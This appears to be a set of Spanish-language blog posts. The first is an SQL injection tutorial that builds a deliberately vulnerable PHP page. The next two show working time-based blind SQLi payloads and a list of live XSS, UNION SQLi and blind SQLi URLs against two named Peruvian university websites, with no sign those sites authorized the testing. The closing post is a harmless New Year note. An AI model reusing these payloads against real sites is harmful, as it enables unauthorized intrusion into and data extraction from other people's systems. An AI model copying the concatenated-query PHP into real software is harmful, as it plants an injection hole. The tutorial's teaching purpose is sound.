Si bien los SQLi no son exclusivos de aplicaciones web, como ya se mencionó, en esta serie nos enfocaremos en los ataques a este tipo de aplicaciones por ser los más frecuentes. Será preciso, entonces, conocer primero como funciona una aplicacion web.

3 Funcionamiento de una aplicación web

Todo empieza cuando un usuario solicita una pagina al servidor web. Este evento puede desencadenarse al hacer clic en un link, al darle enviar a un formulario, al presionar enter sobre la barra de direcciones o de muchas otras maneras. La solicitud que se envía puede contener parámetros que especifiquen de forma más detallada lo que se está pidiendo. Estos parámetros son pares de la forma "variable=valor" e irán en la solicitud de dos posibles formas: ocultos (método POST) o visibles (método GET)

Por ejemplo, seguro habrás visto alguna vez en la URL de una pagina algo así:

http://ejemplo.com/index.php?page=news&id=12

Los parámetros van después del signo de interrogación "?" y separados entre sí por el signo et "&". Quizá, en el ejemplo, estos parámetros sirven para especificar que estamos pidiendo la pagina de noticias, exactamente la noticia número 12. Este es un ejemplo de método GET donde claramente vemos las variables y sus valores en la URL.

Cuando la solicitud llega al servidor web, este identifica el recurso pedido, en el ejemplo es index.php, e intenta entregárselo al usuario. Sin embargo, como en nuestro caso se trata de una página dinámica, necesita ser interpretada por el motor de PHP antes de enviarla al usuario.

Entonces PHP toma el código de la pagina y empieza a ejecutarlo. Dentro de ese código se recupera el valor de las variables enviadas por el usuario y en base a ello se hará una u otra operación. Por ejemplo, conectarse a la base de datos y solicitar de la tabla noticias la que tenga el identificador número 12.

Para que la aplicación pueda pedirle información a la base de datos debe formar una consulta SQL. SQL (Structured Query Language) es un lenguaje de acceso a bases de datos relacionales que permite realizar diversos tipos de operaciones sobre éstas y la información que contienen.

Finalmente la salida que resultó de la ejecución del script php, es tomada por el servidor web y enviada al navegador del usuario como respuesta a su solicitud.

Fig. 1: Funcionamiento de una web.

Veamos como sería el código de la aplicacion del ejemplo.

<?php
 //Obtiene los parametros enviados por el usuario
 $page = $_GET['page'];
 $id = $_GET['id'];

 //Verifica la pagina que se esta pidiendo
 if($page == "news") {
  //Conecta a la base de datos (reemplazar user y pass)
  $link = mysql_connect ("localhost", "user", "pass");
  
  //Selecciona la base de datos (reemplazar database)
  mysql_select_db("database", $link);
  
  //Forma la consulta SQL
  $query = "SELECT * FROM noticias WHERE id=$id";
 
  //Envia la consulta a la base de datos
  $result = mysql_query ($query, $link);
 
  //Muestra el resultado de la consulta
  $row = mysql_fetch_array ($result);
  print("<h1>$row[titulo]</h1>\n");
  print("<p>$row[detalle]</p>\n");
  print("<i>Por: $row[autor]</i>");
 }
 else {
  print("Pagina no encontrada.");
 }
?>

Debes guardarlo dentro del directorio de pruebas, que creamos al inicio, con el nombre index.php. No olvides cambiar el usuario, la contraseña y el nombre de la base de datos, por los valores que estés usando.

Además, es necesario también crear la tabla noticias en nuestra base de datos y llenarla de información para tener algo así:

noticias:
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  1 | TITULO 1 | Detalle de noticia 1... | Autor 1 |
|  2 | TITULO 2 | Detalle de noticia 2... | Autor 2 |
|  3 | TITULO 3 | Detalle de noticia 3... | Autor 3 |
+----+----------+-------------------------+---------+

Las ordenes SQL para construir esa tabla serían:

CREATE TABLE IF NOT EXISTS `noticias` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `titulo` varchar(50) NOT NULL,
  `detalle` varchar(50) NOT NULL,
  `autor` varchar(50) NOT NULL,
  PRIMARY KEY (`id`)
);

INSERT INTO `noticias` (`id`, `titulo`, `detalle`, `autor`) VALUES
(1, 'TITULO 1', 'Detalle de noticia 1...', 'Autor 1'),
(2, 'TITULO 2', 'Detalle de noticia 2...', 'Autor 2'),
(3, 'TITULO 3', 'Detalle de noticia 3...', 'Autor 3');

Podemos copiar y pegar directamente en la consola de mysql o guardarlas en un archivo, por ejemplo ordenes.sql, y luego llamar al comando mysql de esta manera:

$mysql -u root -p -D [base_de_datos] < ordenes.sql

Si todo ha ido bien, entonces ahora podremos ver como funciona la aplicacion conectándonos a:

http://localhost/test/index.php?page=news&id=1

y podemos ir variando el "id" para mostrar las otras noticias.

http://localhost/test/index.php?page=news&id=2
http://localhost/test/index.php?page=news&id=3
...

Fig. 2: Ejemplo de aplicación web.

4 Entendiendo la vulnerabilidad

Hasta este punto ya debemos haber comprendido como es que funciona una aplicación web. Ahora analizaremos ligeramente el código de la aplicación para ver cual es el error que nos permite modificar las consultas SQL.

En las lineas 3 y 4 podemos observar como se obtienen los valores enviados por el usuario:

$page = $_GET['page'];
$id = $_GET['id'];

Observe que no se hace ninguna validación. Luego en la linea 15 se concatena el valor de la variable $id para formar la consulta SQL.

$query = "SELECT * FROM noticias WHERE id=$id";

Por ejemplo si $id fuera 1 la orden quedaría así:

SELECT * FROM noticias WHERE id=1

La orden SELECT sirve para pedir información. En el ejemplo se está pidiendo todos los registros de la tabla noticias cuyo valor de la columna id sea igual a 1.

Pero que pasaría si el valor de $id no fuese un inocente número entero sino algo como esto: "1 AND 1=0". Es decir la llamada a la aplicación la hacemos así:

http://localhost/test/index.php?page=news&id=1 AND 1=0

Luego de concatenar el id, la consulta SQL quedará de esta forma:

SELECT * FROM noticias WHERE id=1 AND 1=0

Ahora la orden significa que se deben seleccionar todos los registros donde el id sea igual a 1 y 1 sea igual a 0. Como la ultima condición siempre es falsa, no se seleccionará ningún registro. La respuesta que recibiremos será algo así:

Fig. 3: Ejemplo de inyección SQL.

Como ven hemos conseguido modificar el significado de la consulta. Esto fue posible gracias a que la aplicación no valida adecuadamente los parámetros que recibe y los concatena tal cual.

Este es el principio de todo SQL Injection. Espero que este ejemplo tan sencillo haya servido para comprender como funciona la vulnerabilidad. Más adelante veremos como explotar un SQLi, las herramientas que podemos utilizar, técnicas de explotación para escenarios más complicados, etc.

Hasta entonces... Saludos.

Otros capítulos de la serie:

miércoles, 5 de enero de 2011

Time Based Blind SQLi

 En el post Hacking the FISI Again vimos que un Blind SQLi se explota de forma especial puesto que no muestra la información en la pagina web pero si que nos permite deducirla en base a su comportamiento.

El comportamiento, en aquella ocasión estuvo basado en la respuesta del servidor (eso de pagina normal y pagina de error). A ese tipo de Blind SQLi se le denomina Response Based. Sin embargo existe otro tipo de inyección a ciegas basada en el tiempo de respuesta del servidor y se denomina Time Based. En este post nos ocuparemos de explicar un poco sobre esta técnica de explotación y pondremos un ejemplo real como ya se nos ha hecho costumbre }:]

Como ya se dijo el Time Based nos permite deducir la información de la base de datos de acuerdo al tiempo que el servidor demora en responder. La idea es inyectar una condicional que de ser verdadera provoque un retardo en la respuesta del servidor y que en caso contrario, responda inmediatamente. Entonces haríamos muchas consultas variando la condición hasta detectar el retardo. Cuando eso suceda sabremos que la condición ha votado verdadero. Nuevamente el servidor se comportará como un oráculo y si hacemos las preguntas adecuadas podremos sacar la información lentamente.

Las técnicas para producir el retardo varían de acuerdo a los diferentes gestores de bases de datos. Para MySQL podemos usar cualquiera de estas dos funciones: SLEEP() y BENCHMARK()

La función SLEEP() provoca un retardo igual al número de segundos que se le pasa por parámetro, lo que es muy conveniente pues nos permite producir un retardo de tiempo fijo. Sin embargo esta función solo esta disponible para versiones 5.0.12 o superior. Ejemplo:

SELECT SLEEP(4)-- Produce un retardo de 4 segundos

En caso no podamos usar SLEEP() podemos intentarlo con la función BENCHMARK(). Esta función recibe dos parámetros: el primero es un número que indica las veces que se debe ejecutar la expresión que va en el segundo parámetro; el segundo, como ya se mencionó, es una expresión SQL cualquiera. Si el número de repeticiones es muy grande es obvio que se producirá un retardo en la respuesta. El problema con este método es que el tiempo de retardo depende de variables como la expresión que se repetirá o la velocidad del servidor, por lo que no se puede saber con precisión.

SELECT BENCHMARK(1000000, SHA("test"))-- Produce un retardo no determinado

Ahora bien, el retardo debemos incluirlo dentro de una condicional de modo que solo se ejecute cuando la condicion sea verdadera. Por ejemplo:

SELECT IF(1=1, SLEEP(4), 1)-- 1=1 es verdadero entonces se ejecuta el retardo
SELECT IF(1=0, SLEEP(4), 1)-- 1=0 es falso, no se ejecuta el retardo.

Pasemos a la acción. El ejemplo del que les comentaba al inicio se trata una vulnerabilidad en la pagina de la facultad (sí, otra) Esta vez la descubrió nuestro amigo w1b1, hace ya buen tiempo. Entonces, después de darle unas vueltas, no conseguimos explotarla como lo hicimos con las vulns anteriores puesto que se trataba de una orden INSERT y no un SELECT. La diferencia entre estas dos es que INSERT no devuelve nada por lo que no podemos generar un error en la aplicación y siempre se mostrará la misma pagina (no hay pagina de error). En ese momento, aún no habíamos considerado usar Time Based sin embargo ahora veremos como, usando esta técnica, la vulnerabilidad es perfectamente explotable }xD

Esta es la dirección donde esta el formulario vulnerable:

http://www.sistemas.edu.pe/inscripcion.html

Si tratáramos de hacer algunas pruebas desde ahí veremos que está validando que los campos del formulario no contengan caracteres especiales.


Qué puedo decir, peor es nada, solo que para la próxima deberían hacer la validación del lado del servidor y no con javascript. Ya que saltarse esas "medidas de seguridad" es tan sencillo como copiar el código fuente del formulario y quitarle los scripts que hacen la validación para tener nuestro propio formulario sin restricciones xD

<html>
 <head>
 </head>
 <body>
  <form method="post" action="http://www.sistemas.edu.pe/postgrado/inscripcion/correo.php">
   <table>
    <tr>
     <td>REGISTRO DE DATOS</td>
    </tr>
    
    <tr>
     <td >Nombre Completo</td>
     <td><input name="nombre" type="text"/></td>
    </tr>
    
    <tr>
     <td>Email</td>
     <td><input name="email" type="text"/></td>
    </tr>
    
    <tr>
     <td>Telefono</td>
     <td><input name="telefono" type="text"/></td>
    </tr>
    
    <tr>
     <td>Programa de Interes</td>
     <td><input name="interes" type="text"/></td>
    </tr>
    
    <tr>
     <td>Consulta</td>
     <td><textarea name="consulta"></textarea></td>
    </tr>
    
    <tr>
     <td>
      <input type="submit" name="Enviar" value="Enviar" />
      <input name="Cancelar" type="reset" value="Cancelar">
     </td>
    </tr>
   </table>
  </form>
 </body>
</html>

Ahora, si le metemos una comilla simple en cualquier campo veremos el error de sintaxis.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''','')' at line 1

Para entender lo que haremos a continuación es preciso conocer un poquito sobre la orden INSERT. Esta orden se usa para añadir un nuevo registro a una tabla de la base de datos y su sintaxis más o menos es así:

INSERT INTO tbl_name (col_1, col_2) VALUES ('val_1', 'val_2')

Donde tbl_name es el nombre de la tabla donde se insertaran los datos, col_1 y col_2 son los nombres de las columnas de tbl_name y val_1 y val_2 son los datos que se registraran en col_1 y col_2 respectivamente. La zona donde van los datos es la que podemos manipular para inyectar nuestras consultas SQL.

En nuestro ejemplo, observamos cinco campos: nombre, email, telefono, programa y consulta. Podemos intuir que la orden tiene esta forma:

INSERT INTO tbl_registro (nombre, email, telefono, programa, consulta) VALUES ('$nombre', '$email', '$telefono', '$programa', '$consulta')

Haremos la inyección con el campo programa escribiendo lo siguiente:

', IF(1=1, SLEEP(4), 1) )#

Observamos que hay un retardo de aproximadamente 4 segundos antes de que el servidor responda. Pero si cambiamos la condición a falso el servidor responderá casi de inmediato.

', IF(1=0, SLEEP(4), 1) )#

En resumen, si hay retardo significa verdadero y si no, falso. Con lo anterior, queda probado que esta vuln se puede explotar usando Time Based }:]

Ahora juguemos un poco xD Averiguaremos cuantos registros hay en la tabla information_schema.schemata (el número de bases de datos ;))

', IF((SELECT COUNT(*) FROM information_schema.schemata) < 100, SLEEP(4), 1) )#     (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 50, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 75, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 87, SLEEP(4), 1) )#      (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 81, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 84, SLEEP(4), 1) )#      (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 82, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 83, SLEEP(4), 1) )#      (falso)


Podemos concluir que hay 83 registros. Lo comprobamos con:

', IF((SELECT COUNT(*) FROM information_schema.schemata) = 83, SLEEP(4), 1) )#      (verdadero)

Y así se le puede ir preguntando otras cosas más interesantes ;)

Obviamente se debe automatizar la explotación usando alguna herramienta. Por ahora estoy investigando eso. Si no encuentro nada quizá me anime a programar algo xD En todo caso ya postearé como automatizar esto después :)

Hasta pronto, saludos.

domingo, 2 de enero de 2011

www.unmsm.edu.pe - Lista de vulnerabilidades


Vaya, sé que puede parecer redundante, porque ya antes he publicado algunas URLs vulnerables de la web de la universidad, pero encontré unas cuantas más y pensé que sería mejor ponerlas todas juntas en un solo post. Si luego aparecen más URLs vulnerables las añadiré a este post en una actualización pero ya no crearé otro.

Bueno, ahí va la lista.

[XSS]
  1. http://www.unmsm.edu.pe/index.php?url="<script>alert('xss')</script>
  2. http://www.unmsm.edu.pe/index.php?a=buscar&tab="); alert('xss'); //
  3. http://www.unmsm.edu.pe/index.php?a=buscar&s=xss&tot=<script>alert('xss');</script>
  4. http://www.unmsm.edu.pe/index.php?a=buscar&s=<script>alert("xss");</script>

[SQLi]
  1. http://www.unmsm.edu.pe/index.php?id=' and 1=0 union select 1,2,3,4,5,6,7/*
  2. http://www.unmsm.edu.pe/index.php?a=buscar&id=' and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*
  3. http://www.unmsm.edu.pe/home.php?id=' and 1=0 union select 1,2,3,4,5,6,7/*
  4. http://www.unmsm.edu.pe/temp.php?id=' and 1=0 union select 1,2,3,'images/escudo_layer.gif',5,6,7,8/*
  5. http://www.unmsm.edu.pe/nts.php?id=' and 1=0 union select 1,2,3,4,5,6/*
  6. http://www.unmsm.edu.pe/archivos_ajax.php?op=noticias&index=' and 1=0 union select 1,2,3,4/*
  7. http://www.unmsm.edu.pe/archivos_ajax.php?op=noticias&anio=' and 1=0 union select 1,2,3,4/*

[Blind SQLi]
  1. http://www.unmsm.edu.pe/index.php?a=mas&tipo=' UNION SELECT IF(1=1,SLEEP(4),1),2,3/*
Nota: Las pruebas se hicieron con Mozilla Firefox 3.6.13 sobre Ubuntu 10.10 Maverick Meerkat.

Saludos.

sábado, 1 de enero de 2011

¿Cábalas de año nuevo?

Hay gente que cree en las cábalas, eso de hacer cosas medio esotéricas a fin de que se te cumpla un deseo el año que viene. Yo personalmente no soy creyente, sin embargo ayer se me dio por hacer limpieza y me las agarré con mi teclado, lo desarmé por completo y por cada tecla que limpiaba pedía un deseo: "Por favor, que siga funcionando..." xD


Vaya... este post en realidad es una excusa para desearles un muy feliz año nuevo y que con cábalas o no de por medio se les cumplan todos sus deseos.

Ya casi son las once de la mañana. No hay nadie en el messenger ni en el facebook :S ¿Me habré levantado muy temprano? No, creo que soy el único que se ha quedado en casa :( xD

Hasta pronto, saludos.